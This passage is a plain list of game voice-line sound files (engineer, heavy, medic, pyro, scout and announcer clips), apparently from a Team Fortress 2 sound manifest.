+vo/engineer_autocappedintelligence03.wav +vo/engineer_autodejectedtie01.wav +vo/engineer_autodejectedtie02.wav +vo/engineer_autodejectedtie03.wav +vo/engineer_autodestroyeddispenser01.wav +vo/engineer_autodestroyedsentry01.wav +vo/engineer_autodestroyedteleporter01.wav +vo/engineer_autoonfire01.wav +vo/engineer_autoonfire02.wav +vo/engineer_autoonfire03.wav +vo/engineer_battlecry01.wav +vo/engineer_battlecry03.wav +vo/engineer_battlecry04.wav +vo/engineer_battlecry05.wav +vo/engineer_battlecry06.wav +vo/engineer_battlecry07.wav +vo/engineer_cheers01.wav +vo/engineer_cheers02.wav +vo/engineer_cheers03.wav +vo/engineer_cheers04.wav +vo/engineer_cheers05.wav +vo/engineer_cheers06.wav +vo/engineer_cheers07.wav +vo/engineer_cloakedspy01.wav +vo/engineer_cloakedspy02.wav +vo/engineer_cloakedspy03.wav +vo/engineer_cloakedspyidentify01.wav +vo/engineer_cloakedspyidentify02.wav +vo/engineer_cloakedspyidentify03.wav +vo/engineer_cloakedspyidentify04.wav +vo/engineer_cloakedspyidentify05.wav +vo/engineer_cloakedspyidentify06.wav +vo/engineer_cloakedspyidentify07.wav +vo/engineer_cloakedspyidentify08.wav +vo/engineer_cloakedspyidentify09.wav +vo/engineer_cloakedspyidentify10.wav +vo/engineer_go01.wav +vo/engineer_go02.wav +vo/engineer_go03.wav +vo/engineer_goodjob01.wav +vo/engineer_goodjob02.wav +vo/engineer_goodjob03.wav +vo/engineer_headleft01.wav +vo/engineer_headleft02.wav +vo/engineer_headright01.wav +vo/engineer_headright02.wav +vo/engineer_headright03.wav +vo/engineer_helpme01.wav +vo/engineer_helpme02.wav +vo/engineer_helpme03.wav +vo/engineer_helpmecapture01.wav +vo/engineer_helpmecapture02.wav +vo/engineer_helpmecapture03.wav +vo/engineer_helpmedefend01.wav +vo/engineer_helpmedefend02.wav +vo/engineer_helpmedefend03.wav +vo/engineer_incoming01.wav +vo/engineer_incoming02.wav +vo/engineer_incoming03.wav +vo/engineer_jeers01.wav +vo/engineer_jeers02.wav +vo/engineer_jeers03.wav +vo/engineer_jeers04.wav +vo/engineer_laughevil01.wav +vo/engineer_laughevil02.wav +vo/engineer_laughevil03.wav +vo/engineer_laughevil04.wav +vo/engineer_laughevil05.wav +vo/engineer_laughevil06.wav +vo/engineer_laughhappy01.wav +vo/engineer_laughhappy02.wav +vo/engineer_laughhappy03.wav +vo/engineer_laughlong01.wav +vo/engineer_laughshort01.wav +vo/engineer_laughshort02.wav +vo/engineer_laughshort03.wav +vo/engineer_laughshort04.wav +vo/engineer_medic01.wav +vo/engineer_medic02.wav +vo/engineer_medic03.wav +vo/engineer_moveup01.wav +vo/engineer_needdispenser01.wav +vo/engineer_needsentry01.wav +vo/engineer_needteleporter01.wav +vo/engineer_needteleporter02.wav +vo/engineer_negativevocalization01.wav +vo/engineer_negativevocalization02.wav +vo/engineer_negativevocalization03.wav +vo/engineer_negativevocalization04.wav +vo/engineer_negativevocalization05.wav +vo/engineer_negativevocalization06.wav +vo/engineer_negativevocalization07.wav +vo/engineer_negativevocalization08.wav +vo/engineer_negativevocalization09.wav +vo/engineer_negativevocalization10.wav +vo/engineer_negativevocalization11.wav +vo/engineer_negativevocalization12.wav +vo/engineer_niceshot01.wav +vo/engineer_niceshot02.wav +vo/engineer_niceshot03.wav +vo/engineer_no01.wav +vo/engineer_no02.wav +vo/engineer_no03.wav +vo/engineer_paincrticialdeath01.wav +vo/engineer_paincrticialdeath02.wav +vo/engineer_paincrticialdeath03.wav +vo/engineer_paincrticialdeath04.wav +vo/engineer_paincrticialdeath05.wav +vo/engineer_paincrticialdeath06.wav +vo/engineer_painsevere01.wav +vo/engineer_painsevere02.wav +vo/engineer_painsevere03.wav +vo/engineer_painsevere04.wav +vo/engineer_painsevere05.wav +vo/engineer_painsevere06.wav +vo/engineer_painsevere07.wav +vo/engineer_painsharp01.wav +vo/engineer_painsharp02.wav +vo/engineer_painsharp03.wav +vo/engineer_painsharp04.wav +vo/engineer_painsharp05.wav +vo/engineer_painsharp06.wav +vo/engineer_painsharp07.wav +vo/engineer_painsharp08.wav +vo/engineer_positivevocalization01.wav +vo/engineer_sentryahead01.wav +vo/engineer_sentryahead02.wav +vo/engineer_specialcompleted-assistedkill01.wav +vo/engineer_specialcompleted-assistedkill02.wav +vo/engineer_specialcompleted01.wav +vo/engineer_specialcompleted02.wav +vo/engineer_specialcompleted03.wav +vo/engineer_specialcompleted04.wav +vo/engineer_specialcompleted05.wav +vo/engineer_specialcompleted06.wav +vo/engineer_specialcompleted07.wav +vo/engineer_specialcompleted08.wav +vo/engineer_specialcompleted09.wav +vo/engineer_specialcompleted10.wav +vo/engineer_specialcompleted11.wav +vo/engineer_standonthepoint01.wav +vo/engineer_standonthepoint02.wav +vo/engineer_thanks01.wav +vo/engineer_thanksfortheheal01.wav +vo/engineer_thanksfortheheal02.wav +vo/engineer_thanksfortheteleporter01.wav +vo/engineer_thanksfortheteleporter02.wav +vo/engineer_yes01.wav +vo/engineer_yes02.wav +vo/engineer_yes03.wav +vo/halloween_boo1.wav +vo/halloween_boo2.wav +vo/halloween_boo3.wav +vo/halloween_boo4.wav +vo/halloween_boo5.wav +vo/halloween_boo6.wav +vo/halloween_boo7.wav +vo/halloween_haunted1.wav +vo/halloween_haunted2.wav +vo/halloween_haunted3.wav +vo/halloween_haunted4.wav +vo/halloween_haunted5.wav +vo/halloween_moan1.wav +vo/halloween_moan2.wav +vo/halloween_moan3.wav +vo/halloween_moan4.wav +vo/halloween_scream1.wav +vo/halloween_scream2.wav +vo/halloween_scream3.wav +vo/halloween_scream4.wav +vo/halloween_scream5.wav +vo/halloween_scream6.wav +vo/halloween_scream7.wav +vo/halloween_scream8.wav +vo/heavy_activatecharge01.wav +vo/heavy_activatecharge02.wav +vo/heavy_activatecharge03.wav +vo/heavy_activatecharge04.wav +vo/heavy_autocappedcontrolpoint01.wav +vo/heavy_autocappedcontrolpoint02.wav +vo/heavy_autocappedcontrolpoint03.wav +vo/heavy_autocappedintelligence01.wav +vo/heavy_autocappedintelligence02.wav +vo/heavy_autocappedintelligence03.wav +vo/heavy_autodejectedtie01.wav +vo/heavy_autodejectedtie02.wav +vo/heavy_autodejectedtie03.wav +vo/heavy_autoonfire01.wav +vo/heavy_autoonfire02.wav +vo/heavy_autoonfire03.wav +vo/heavy_autoonfire04.wav +vo/heavy_autoonfire05.wav +vo/heavy_award01.wav +vo/heavy_award02.wav +vo/heavy_award03.wav +vo/heavy_award04.wav +vo/heavy_award05.wav +vo/heavy_award06.wav +vo/heavy_award07.wav +vo/heavy_award08.wav +vo/heavy_award09.wav +vo/heavy_award10.wav +vo/heavy_award11.wav +vo/heavy_award12.wav +vo/heavy_award13.wav +vo/heavy_award14.wav +vo/heavy_award15.wav +vo/heavy_award16.wav +vo/heavy_battlecry01.wav +vo/heavy_battlecry02.wav +vo/heavy_battlecry03.wav +vo/heavy_battlecry04.wav +vo/heavy_battlecry05.wav +vo/heavy_battlecry06.wav +vo/heavy_cartgoingbackdefense01.wav +vo/heavy_cartgoingbackdefense02.wav +vo/heavy_cartgoingbackdefense03.wav +vo/heavy_cartgoingbackdefense04.wav +vo/heavy_cartgoingbackdefense05.wav +vo/heavy_cartgoingbackdefense06.wav +vo/heavy_cartgoingbackdefense07.wav +vo/heavy_cartgoingbackdefense08.wav +vo/heavy_cartgoingbackoffense01.wav +vo/heavy_cartgoingbackoffense02.wav +vo/heavy_cartgoingbackoffense03.wav +vo/heavy_cartgoingbackoffense04.wav +vo/heavy_cartgoingbackoffense05.wav +vo/heavy_cartgoingbackoffense06.wav +vo/heavy_cartgoingbackoffense07.wav +vo/heavy_cartmovingforwarddefense01.wav +vo/heavy_cartmovingforwarddefense02.wav +vo/heavy_cartmovingforwarddefense03.wav +vo/heavy_cartmovingforwarddefense04.wav +vo/heavy_cartmovingforwarddefense05.wav +vo/heavy_cartmovingforwarddefense06.wav +vo/heavy_cartmovingforwardoffense01.wav +vo/heavy_cartmovingforwardoffense02.wav +vo/heavy_cartmovingforwardoffense03.wav +vo/heavy_cartmovingforwardoffense04.wav +vo/heavy_cartmovingforwardoffense05.wav +vo/heavy_cartmovingforwardoffense06.wav +vo/heavy_cartmovingforwardoffense07.wav +vo/heavy_cartmovingforwardoffense08.wav +vo/heavy_cartmovingforwardoffense09.wav +vo/heavy_cartmovingforwardoffense10.wav +vo/heavy_cartmovingforwardoffense11.wav +vo/heavy_cartmovingforwardoffense12.wav +vo/heavy_cartmovingforwardoffense13.wav +vo/heavy_cartmovingforwardoffense14.wav +vo/heavy_cartmovingforwardoffense15.wav +vo/heavy_cartmovingforwardoffense16.wav +vo/heavy_cartmovingforwardoffense17.wav +vo/heavy_cartstaycloseoffense01.wav +vo/heavy_cartstaycloseoffense02.wav +vo/heavy_cartstaycloseoffense03.wav +vo/heavy_cartstaycloseoffense04.wav +vo/heavy_cartstaycloseoffense05.wav +vo/heavy_cartstaycloseoffense06.wav +vo/heavy_cartstopitdefense01.wav +vo/heavy_cartstopitdefense02.wav +vo/heavy_cartstopitdefense03.wav +vo/heavy_cartstopitdefense04.wav +vo/heavy_cartstoppedoffense01.wav +vo/heavy_cartstoppedoffense02.wav +vo/heavy_cartstoppedoffense03.wav +vo/heavy_cartstoppedoffense04.wav +vo/heavy_cheers01.wav +vo/heavy_cheers02.wav +vo/heavy_cheers03.wav +vo/heavy_cheers04.wav +vo/heavy_cheers05.wav +vo/heavy_cheers06.wav +vo/heavy_cheers07.wav +vo/heavy_cheers08.wav +vo/heavy_cloakedspy01.wav +vo/heavy_cloakedspy02.wav +vo/heavy_cloakedspy03.wav +vo/heavy_cloakedspy04.wav +vo/heavy_cloakedspyidentify01.wav +vo/heavy_cloakedspyidentify02.wav +vo/heavy_cloakedspyidentify03.wav +vo/heavy_cloakedspyidentify04.wav +vo/heavy_cloakedspyidentify05.wav +vo/heavy_cloakedspyidentify06.wav +vo/heavy_cloakedspyidentify07.wav +vo/heavy_cloakedspyidentify08.wav +vo/heavy_cloakedspyidentify09.wav +vo/heavy_domination01.wav +vo/heavy_domination02.wav +vo/heavy_domination03.wav +vo/heavy_domination04.wav +vo/heavy_domination05.wav +vo/heavy_domination06.wav +vo/heavy_domination07.wav +vo/heavy_domination08.wav +vo/heavy_domination09.wav +vo/heavy_domination10.wav +vo/heavy_domination11.wav +vo/heavy_domination12.wav +vo/heavy_domination13.wav +vo/heavy_domination14.wav +vo/heavy_domination15.wav +vo/heavy_domination16.wav +vo/heavy_domination17.wav +vo/heavy_domination18.wav +vo/heavy_fightoncap01.wav +vo/heavy_fightoncap02.wav +vo/heavy_fightoncap03.wav +vo/heavy_fightoncap04.wav +vo/heavy_generic01.wav +vo/heavy_go01.wav +vo/heavy_go02.wav +vo/heavy_go03.wav +vo/heavy_goodjob01.wav +vo/heavy_goodjob02.wav +vo/heavy_goodjob03.wav +vo/heavy_goodjob04.wav +vo/heavy_headleft01.wav +vo/heavy_headleft02.wav +vo/heavy_headleft03.wav +vo/heavy_headright01.wav +vo/heavy_headright02.wav +vo/heavy_headright03.wav +vo/heavy_helpme01.wav +vo/heavy_helpme02.wav +vo/heavy_helpme03.wav +vo/heavy_helpmecapture01.wav +vo/heavy_helpmecapture02.wav +vo/heavy_helpmecapture03.wav +vo/heavy_helpmedefend01.wav +vo/heavy_helpmedefend02.wav +vo/heavy_helpmedefend03.wav +vo/heavy_incoming01.wav +vo/heavy_incoming02.wav +vo/heavy_incoming03.wav +vo/heavy_jeers01.wav +vo/heavy_jeers02.wav +vo/heavy_jeers03.wav +vo/heavy_jeers04.wav +vo/heavy_jeers05.wav +vo/heavy_jeers06.wav +vo/heavy_jeers07.wav +vo/heavy_jeers08.wav +vo/heavy_jeers09.wav +vo/heavy_laughevil01.wav +vo/heavy_laughevil02.wav +vo/heavy_laughevil03.wav +vo/heavy_laughevil04.wav +vo/heavy_laughhappy01.wav +vo/heavy_laughhappy02.wav +vo/heavy_laughhappy03.wav +vo/heavy_laughhappy04.wav +vo/heavy_laughhappy05.wav +vo/heavy_laughlong01.wav +vo/heavy_laughlong02.wav +vo/heavy_laughshort01.wav +vo/heavy_laughshort02.wav +vo/heavy_laughshort03.wav +vo/heavy_laughterbig01.wav +vo/heavy_laughterbig02.wav +vo/heavy_laughterbig03.wav +vo/heavy_laughterbig04.wav +vo/heavy_medic01.wav +vo/heavy_medic02.wav +vo/heavy_medic03.wav +vo/heavy_medicfollow01.wav +vo/heavy_medicfollow02.wav +vo/heavy_medicfollow03.wav +vo/heavy_medicfollow04.wav +vo/heavy_medicfollow05.wav +vo/heavy_medicfollow06.wav +vo/heavy_medicfollow07.wav +vo/heavy_meleedare01.wav +vo/heavy_meleedare02.wav +vo/heavy_meleedare03.wav +vo/heavy_meleedare04.wav +vo/heavy_meleedare05.wav +vo/heavy_meleedare06.wav +vo/heavy_meleedare07.wav +vo/heavy_meleedare08.wav +vo/heavy_meleedare09.wav +vo/heavy_meleedare10.wav +vo/heavy_meleedare11.wav +vo/heavy_meleedare12.wav +vo/heavy_meleedare13.wav +vo/heavy_meleeing01.wav +vo/heavy_meleeing02.wav +vo/heavy_meleeing03.wav +vo/heavy_meleeing04.wav +vo/heavy_meleeing05.wav +vo/heavy_meleeing06.wav +vo/heavy_meleeing07.wav +vo/heavy_meleeing08.wav +vo/heavy_moveup01.wav +vo/heavy_moveup02.wav +vo/heavy_moveup03.wav +vo/heavy_needdispenser01.wav +vo/heavy_needsentry01.wav +vo/heavy_needteleporter01.wav +vo/heavy_negativevocalization01.wav +vo/heavy_negativevocalization02.wav +vo/heavy_negativevocalization03.wav +vo/heavy_negativevocalization04.wav +vo/heavy_negativevocalization05.wav +vo/heavy_negativevocalization06.wav +vo/heavy_niceshot01.wav +vo/heavy_niceshot02.wav +vo/heavy_niceshot03.wav +vo/heavy_no01.wav +vo/heavy_no02.wav +vo/heavy_no03.wav +vo/heavy_paincrticialdeath01.wav +vo/heavy_paincrticialdeath02.wav +vo/heavy_paincrticialdeath03.wav +vo/heavy_painsevere01.wav +vo/heavy_painsevere02.wav +vo/heavy_painsevere03.wav +vo/heavy_painsharp01.wav +vo/heavy_painsharp02.wav +vo/heavy_painsharp03.wav +vo/heavy_painsharp04.wav +vo/heavy_painsharp05.wav +vo/heavy_positivevocalization01.wav +vo/heavy_positivevocalization02.wav +vo/heavy_positivevocalization03.wav +vo/heavy_positivevocalization04.wav +vo/heavy_positivevocalization05.wav +vo/heavy_revenge01.wav +vo/heavy_revenge02.wav +vo/heavy_revenge03.wav +vo/heavy_revenge04.wav +vo/heavy_revenge05.wav +vo/heavy_revenge06.wav +vo/heavy_revenge07.wav +vo/heavy_revenge08.wav +vo/heavy_revenge09.wav +vo/heavy_revenge10.wav +vo/heavy_revenge11.wav +vo/heavy_revenge12.wav +vo/heavy_revenge13.wav +vo/heavy_revenge14.wav +vo/heavy_revenge15.wav +vo/heavy_sandwichtaunt01.wav +vo/heavy_sandwichtaunt02.wav +vo/heavy_sandwichtaunt03.wav +vo/heavy_sandwichtaunt04.wav +vo/heavy_sandwichtaunt05.wav +vo/heavy_sandwichtaunt06.wav +vo/heavy_sandwichtaunt07.wav +vo/heavy_sandwichtaunt08.wav +vo/heavy_sandwichtaunt09.wav +vo/heavy_sandwichtaunt10.wav +vo/heavy_sandwichtaunt11.wav +vo/heavy_sandwichtaunt12.wav +vo/heavy_sandwichtaunt13.wav +vo/heavy_sandwichtaunt14.wav +vo/heavy_sandwichtaunt15.wav +vo/heavy_sandwichtaunt16.wav +vo/heavy_sandwichtaunt17.wav +vo/heavy_sentryahead01.wav +vo/heavy_sentryahead02.wav +vo/heavy_singing01.wav +vo/heavy_singing02.wav +vo/heavy_singing03.wav +vo/heavy_singing04.wav +vo/heavy_singing05.wav +vo/heavy_specialcompleted-assistedkill01.wav +vo/heavy_specialcompleted01.wav +vo/heavy_specialcompleted02.wav +vo/heavy_specialcompleted03.wav +vo/heavy_specialcompleted04.wav +vo/heavy_specialcompleted05.wav +vo/heavy_specialcompleted06.wav +vo/heavy_specialcompleted07.wav +vo/heavy_specialcompleted08.wav +vo/heavy_specialcompleted09.wav +vo/heavy_specialcompleted10.wav +vo/heavy_specialcompleted11.wav +vo/heavy_specials01.wav +vo/heavy_specials02.wav +vo/heavy_specials03.wav +vo/heavy_specials04.wav +vo/heavy_specials05.wav +vo/heavy_specialweapon01.wav +vo/heavy_specialweapon02.wav +vo/heavy_specialweapon03.wav +vo/heavy_specialweapon04.wav +vo/heavy_specialweapon05.wav +vo/heavy_specialweapon06.wav +vo/heavy_specialweapon07.wav +vo/heavy_specialweapon08.wav +vo/heavy_specialweapon09.wav +vo/heavy_standonthepoint01.wav +vo/heavy_standonthepoint02.wav +vo/heavy_standonthepoint03.wav +vo/heavy_standonthepoint04.wav +vo/heavy_thanks01.wav +vo/heavy_thanks02.wav +vo/heavy_thanks03.wav +vo/heavy_thanksfortheheal01.wav +vo/heavy_thanksfortheheal02.wav +vo/heavy_thanksfortheheal03.wav +vo/heavy_thanksfortheteleporter01.wav +vo/heavy_thanksfortheteleporter02.wav +vo/heavy_thanksfortheteleporter03.wav +vo/heavy_yell1.wav +vo/heavy_yell10.wav +vo/heavy_yell11.wav +vo/heavy_yell12.wav +vo/heavy_yell13.wav +vo/heavy_yell14.wav +vo/heavy_yell15.wav +vo/heavy_yell2.wav +vo/heavy_yell3.wav +vo/heavy_yell4.wav +vo/heavy_yell5.wav +vo/heavy_yell6.wav +vo/heavy_yell7.wav +vo/heavy_yell8.wav +vo/heavy_yell9.wav +vo/heavy_yes01.wav +vo/heavy_yes02.wav +vo/heavy_yes03.wav +vo/intel_enemycaptured.wav +vo/intel_enemycaptured2.wav +vo/intel_enemydropped.wav +vo/intel_enemydropped2.wav +vo/intel_enemyreturned.wav +vo/intel_enemyreturned2.wav +vo/intel_enemyreturned3.wav +vo/intel_enemystolen.wav +vo/intel_enemystolen2.wav +vo/intel_enemystolen3.wav +vo/intel_enemystolen4.wav +vo/intel_teamcaptured.wav +vo/intel_teamcaptured2.wav +vo/intel_teamdropped.wav +vo/intel_teamdropped2.wav +vo/intel_teamreturned.wav +vo/intel_teamstolen.wav +vo/medic1.wav +vo/medic2.wav +vo/medic_activatecharge01.wav +vo/medic_activatecharge02.wav +vo/medic_activatecharge03.wav +vo/medic_autocappedcontrolpoint01.wav +vo/medic_autocappedcontrolpoint02.wav +vo/medic_autocappedcontrolpoint03.wav +vo/medic_autocappedintelligence01.wav +vo/medic_autocappedintelligence02.wav +vo/medic_autocappedintelligence03.wav +vo/medic_autochargeready01.wav +vo/medic_autochargeready02.wav +vo/medic_autochargeready03.wav +vo/medic_autodejectedtie01.wav +vo/medic_autodejectedtie02.wav +vo/medic_autodejectedtie03.wav +vo/medic_autodejectedtie04.wav +vo/medic_autodejectedtie05.wav +vo/medic_autodejectedtie06.wav +vo/medic_autodejectedtie07.wav +vo/medic_autoonfire01.wav +vo/medic_autoonfire02.wav +vo/medic_autoonfire03.wav +vo/medic_autoonfire04.wav +vo/medic_autoonfire05.wav +vo/medic_battlecry01.wav +vo/medic_battlecry02.wav +vo/medic_battlecry03.wav +vo/medic_battlecry04.wav +vo/medic_battlecry05.wav +vo/medic_battlecry06.wav +vo/medic_cheers01.wav +vo/medic_cheers02.wav +vo/medic_cheers03.wav +vo/medic_cheers04.wav +vo/medic_cheers05.wav +vo/medic_cheers06.wav +vo/medic_cloakedspy01.wav +vo/medic_cloakedspy02.wav +vo/medic_cloakedspyidentify01.wav +vo/medic_cloakedspyidentify02.wav +vo/medic_cloakedspyidentify03.wav +vo/medic_cloakedspyidentify04.wav +vo/medic_cloakedspyidentify05.wav +vo/medic_cloakedspyidentify06.wav +vo/medic_cloakedspyidentify07.wav +vo/medic_cloakedspyidentify08.wav +vo/medic_cloakedspyidentify09.wav +vo/medic_go01.wav +vo/medic_go02.wav +vo/medic_go03.wav +vo/medic_go04.wav +vo/medic_go05.wav +vo/medic_goodjob01.wav +vo/medic_goodjob02.wav +vo/medic_goodjob03.wav +vo/medic_headleft01.wav +vo/medic_headleft02.wav +vo/medic_headleft03.wav +vo/medic_headright01.wav +vo/medic_headright02.wav +vo/medic_headright03.wav +vo/medic_helpme01.wav +vo/medic_helpme02.wav +vo/medic_helpme03.wav +vo/medic_helpmecapture01.wav +vo/medic_helpmecapture02.wav +vo/medic_helpmedefend01.wav +vo/medic_helpmedefend02.wav +vo/medic_helpmedefend03.wav +vo/medic_incoming01.wav +vo/medic_incoming02.wav +vo/medic_incoming03.wav +vo/medic_jeers01.wav +vo/medic_jeers02.wav +vo/medic_jeers03.wav +vo/medic_jeers04.wav +vo/medic_jeers05.wav +vo/medic_jeers06.wav +vo/medic_jeers07.wav +vo/medic_jeers08.wav +vo/medic_jeers09.wav +vo/medic_jeers10.wav +vo/medic_jeers11.wav +vo/medic_jeers12.wav +vo/medic_laughevil01.wav +vo/medic_laughevil02.wav +vo/medic_laughevil03.wav +vo/medic_laughevil04.wav +vo/medic_laughevil05.wav +vo/medic_laughhappy01.wav +vo/medic_laughhappy02.wav +vo/medic_laughhappy03.wav +vo/medic_laughlong01.wav +vo/medic_laughlong02.wav +vo/medic_laughshort01.wav +vo/medic_laughshort02.wav +vo/medic_laughshort03.wav +vo/medic_medic01.wav +vo/medic_medic02.wav +vo/medic_medic03.wav +vo/medic_moveup01.wav +vo/medic_moveup02.wav +vo/medic_needdispenser01.wav +vo/medic_needsentry01.wav +vo/medic_needteleporter01.wav +vo/medic_negativevocalization01.wav +vo/medic_negativevocalization02.wav +vo/medic_negativevocalization03.wav +vo/medic_negativevocalization04.wav +vo/medic_negativevocalization05.wav +vo/medic_negativevocalization06.wav +vo/medic_negativevocalization07.wav +vo/medic_niceshot01.wav +vo/medic_niceshot02.wav +vo/medic_no01.wav +vo/medic_no02.wav +vo/medic_no03.wav +vo/medic_paincrticialdeath01.wav +vo/medic_paincrticialdeath02.wav +vo/medic_paincrticialdeath03.wav +vo/medic_paincrticialdeath04.wav +vo/medic_painsevere01.wav +vo/medic_painsevere02.wav +vo/medic_painsevere03.wav +vo/medic_painsevere04.wav +vo/medic_painsharp01.wav +vo/medic_painsharp02.wav +vo/medic_painsharp03.wav +vo/medic_painsharp04.wav +vo/medic_painsharp05.wav +vo/medic_painsharp06.wav +vo/medic_painsharp07.wav +vo/medic_painsharp08.wav +vo/medic_positivevocalization01.wav +vo/medic_positivevocalization02.wav +vo/medic_positivevocalization03.wav +vo/medic_positivevocalization05.wav +vo/medic_positivevocalization06.wav +vo/medic_sentryahead01.wav +vo/medic_sentryahead02.wav +vo/medic_specialcompleted-assistedkill01.wav +vo/medic_specialcompleted-assistedkill02.wav +vo/medic_specialcompleted01.wav +vo/medic_specialcompleted02.wav +vo/medic_specialcompleted03.wav +vo/medic_specialcompleted04.wav +vo/medic_specialcompleted05.wav +vo/medic_specialcompleted06.wav +vo/medic_specialcompleted07.wav +vo/medic_specialcompleted08.wav +vo/medic_specialcompleted09.wav +vo/medic_specialcompleted10.wav +vo/medic_specialcompleted11.wav +vo/medic_specialcompleted12.wav +vo/medic_standonthepoint01.wav +vo/medic_standonthepoint02.wav +vo/medic_standonthepoint03.wav +vo/medic_standonthepoint04.wav +vo/medic_standonthepoint05.wav +vo/medic_thanks01.wav +vo/medic_thanks02.wav +vo/medic_thanksfortheheal01.wav +vo/medic_thanksfortheheal02.wav +vo/medic_thanksfortheteleporter01.wav +vo/medic_thanksfortheteleporter02.wav +vo/medic_thanksfortheteleporter03.wav +vo/medic_yes01.wav +vo/medic_yes02.wav +vo/medic_yes03.wav +vo/null.wav +vo/puff.wav +vo/pyro_activatecharge01.wav +vo/pyro_autocappedcontrolpoint01.wav +vo/pyro_autocappedintelligence01.wav +vo/pyro_autodejectedtie01.wav +vo/pyro_autoonfire01.wav +vo/pyro_autoonfire02.wav +vo/pyro_battlecry01.wav +vo/pyro_battlecry02.wav +vo/pyro_cheers01.wav +vo/pyro_cloakedspy01.wav +vo/pyro_cloakedspyidentify01.wav +vo/pyro_go01.wav +vo/pyro_goodjob01.wav +vo/pyro_headleft01.wav +vo/pyro_headright01.wav +vo/pyro_helpme01.wav +vo/pyro_helpmecapture01.wav +vo/pyro_helpmedefend01.wav +vo/pyro_incoming01.wav +vo/pyro_jeers01.wav +vo/pyro_jeers02.wav +vo/pyro_laughevil01.wav +vo/pyro_laughevil02.wav +vo/pyro_laughevil03.wav +vo/pyro_laughevil04.wav +vo/pyro_laughhappy01.wav +vo/pyro_laughlong01.wav +vo/pyro_laughshort01.wav +vo/pyro_medic01.wav +vo/pyro_moveup01.wav +vo/pyro_needdispenser01.wav +vo/pyro_needsentry01.wav +vo/pyro_needteleporter01.wav +vo/pyro_negativevocalization01.wav +vo/pyro_niceshot01.wav +vo/pyro_no01.wav +vo/pyro_paincrticialdeath01.wav +vo/pyro_paincrticialdeath02.wav +vo/pyro_paincrticialdeath03.wav +vo/pyro_painsevere01.wav +vo/pyro_painsevere02.wav +vo/pyro_painsevere03.wav +vo/pyro_painsevere04.wav +vo/pyro_painsevere05.wav +vo/pyro_painsevere06.wav +vo/pyro_painsharp01.wav +vo/pyro_painsharp02.wav +vo/pyro_painsharp03.wav +vo/pyro_painsharp04.wav +vo/pyro_painsharp05.wav +vo/pyro_painsharp06.wav +vo/pyro_painsharp07.wav +vo/pyro_positivevocalization01.wav +vo/pyro_sentryahead01.wav +vo/pyro_specialcompleted-assistedkill01.wav +vo/pyro_specialcompleted01.wav +vo/pyro_standonthepoint01.wav +vo/pyro_thanks01.wav +vo/pyro_thanksfortheheal01.wav +vo/pyro_thanksfortheteleporter01.wav +vo/pyro_yes01.wav +vo/SandwichEat09.wav +vo/scout_activatecharge01.wav +vo/scout_activatecharge02.wav +vo/scout_activatecharge03.wav +vo/scout_apexofjump01.wav +vo/scout_apexofjump02.wav +vo/scout_apexofjump03.wav +vo/scout_apexofjump04.wav +vo/scout_apexofjump05.wav +vo/scout_autocappedcontrolpoint01.wav +vo/scout_autocappedcontrolpoint02.wav +vo/scout_autocappedcontrolpoint03.wav +vo/scout_autocappedcontrolpoint04.wav +vo/scout_autocappedintelligence01.wav +vo/scout_autocappedintelligence02.wav +vo/scout_autocappedintelligence03.wav +vo/scout_autodejectedtie01.wav +vo/scout_autodejectedtie02.wav +vo/scout_autodejectedtie03.wav +vo/scout_autodejectedtie04.wav +vo/scout_autoonfire01.wav +vo/scout_autoonfire02.wav +vo/scout_award01.wav +vo/scout_award02.wav +vo/scout_award03.wav +vo/scout_award04.wav +vo/scout_award05.wav +vo/scout_award07.wav +vo/scout_award08.wav +vo/scout_award09.wav +vo/scout_award10.wav +vo/scout_award11.wav +vo/scout_award12.wav +vo/scout_battlecry01.wav +vo/scout_battlecry02.wav +vo/scout_battlecry03.wav +vo/scout_battlecry04.wav +vo/scout_battlecry05.wav +vo/scout_beingshotinvincible01.wav +vo/scout_beingshotinvincible02.wav +vo/scout_beingshotinvincible03.wav +vo/scout_beingshotinvincible04.wav +vo/scout_beingshotinvincible05.wav +vo/scout_beingshotinvincible06.wav +vo/scout_beingshotinvincible07.wav +vo/scout_beingshotinvincible08.wav +vo/scout_beingshotinvincible09.wav +vo/scout_beingshotinvincible10.wav +vo/scout_beingshotinvincible11.wav +vo/scout_beingshotinvincible12.wav +vo/scout_beingshotinvincible13.wav +vo/scout_beingshotinvincible14.wav +vo/scout_beingshotinvincible15.wav +vo/scout_beingshotinvincible16.wav +vo/scout_beingshotinvincible17.wav +vo/scout_beingshotinvincible18.wav +vo/scout_beingshotinvincible19.wav +vo/scout_beingshotinvincible20.wav +vo/scout_beingshotinvincible21.wav +vo/scout_beingshotinvincible22.wav +vo/scout_beingshotinvincible23.wav +vo/scout_beingshotinvincible24.wav +vo/scout_beingshotinvincible25.wav +vo/scout_beingshotinvincible26.wav +vo/scout_beingshotinvincible27.wav +vo/scout_beingshotinvincible28.wav +vo/scout_beingshotinvincible29.wav +vo/scout_beingshotinvincible30.wav +vo/scout_beingshotinvincible31.wav +vo/scout_beingshotinvincible32.wav +vo/scout_beingshotinvincible33.wav +vo/scout_beingshotinvincible34.wav +vo/scout_beingshotinvincible35.wav +vo/scout_beingshotinvincible36.wav +vo/scout_cartgoingbackdefense01.wav +vo/scout_cartgoingbackdefense02.wav +vo/scout_cartgoingbackdefense03.wav +vo/scout_cartgoingbackdefense04.wav +vo/scout_cartgoingbackdefense05.wav +vo/scout_cartgoingbackdefense06.wav +vo/scout_cartgoingbackoffense01.wav +vo/scout_cartgoingbackoffense02.wav +vo/scout_cartgoingbackoffense03.wav +vo/scout_cartgoingbackoffense04.wav +vo/scout_cartgoingbackoffense05.wav +vo/scout_cartgoingbackoffense06.wav +vo/scout_cartgoingbackoffense07.wav +vo/scout_cartgoingbackoffense08.wav +vo/scout_cartmovingforwarddefense01.wav +vo/scout_cartmovingforwarddefense02.wav +vo/scout_cartmovingforwarddefense03.wav +vo/scout_cartmovingforwarddefense04.wav +vo/scout_cartmovingforwarddefense05.wav +vo/scout_cartmovingforwarddefense06.wav +vo/scout_cartmovingforwardoffense01.wav +vo/scout_cartmovingforwardoffense02.wav +vo/scout_cartmovingforwardoffense03.wav +vo/scout_cartmovingforwardoffense04.wav +vo/scout_cartmovingforwardoffense05.wav +vo/scout_cartmovingforwardoffense06.wav +vo/scout_cartstaycloseoffense01.wav +vo/scout_cartstaycloseoffense02.wav +vo/scout_cartstaycloseoffense03.wav +vo/scout_cartstaycloseoffense04.wav +vo/scout_cartstaycloseoffense05.wav +vo/scout_cartstaycloseoffense06.wav +vo/scout_cartstopitdefense01.wav +vo/scout_cartstopitdefense02.wav +vo/scout_cartstopitdefense03.wav +vo/scout_cartstoppedoffense01.wav 